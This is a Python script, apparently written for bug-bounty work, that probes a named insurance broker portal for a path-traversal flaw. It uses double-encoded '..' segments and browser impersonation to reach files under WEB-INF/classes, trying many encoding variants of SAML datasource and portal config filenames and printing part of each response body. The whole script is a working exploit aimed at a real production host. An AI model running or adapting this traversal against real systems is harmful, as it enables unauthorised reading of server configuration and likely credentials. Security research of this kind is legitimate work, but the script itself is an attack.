from curl_cffi import requests
import json,hashlib
h='maklerportal.baloise.de'; base=f'https://{h}/auth/ui/assets/airlock/i18n/'+('/'.join(['%252e%252e']*4))+'/WEB-INF/classes/'
paths=[
'baloise/saml2/datasource.json','baloise/saml2/datasource-dwbzn.json','baloise/saml2/%2564atasource.json','baloise/saml2/d%2561tasource.json','baloise/saml2/data%2573ource.json','baloise/saml2/datasource%252ejson','baloise/saml2/datasource%2ejson','baloise/saml2/datasource.json%3fx=.json',
'baloise/saml2/portal_si.json','baloise/saml2/portal-si.json','baloise/saml2/%2570ortal_si.json','baloise/saml2/portal_%2573i.json','baloise/saml2/portal_si%252ejson',
'datasource.json','foo/datasource.json','portal_si.json','foo/portal_si.json',
]
for p in paths:
 try:
  r=requests.get(base+p,headers={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache','Accept':'application/json'},timeout=20,impersonate='chrome',allow_redirects=False,toadex_capture=False)
  print(json.dumps({'path':p,'status':r.status_code,'size':len(r.content),'sha':hashlib.sha256(r.content).hexdigest()[:12],'ct':r.headers.get('content-type'),'etag':r.headers.get('etag'),'lm':r.headers.get('last-modified'),'loc':r.headers.get('location'),'body':r.text[:300]}))
 except Exception as e: print(json.dumps({'path':p,'error':str(e)}))
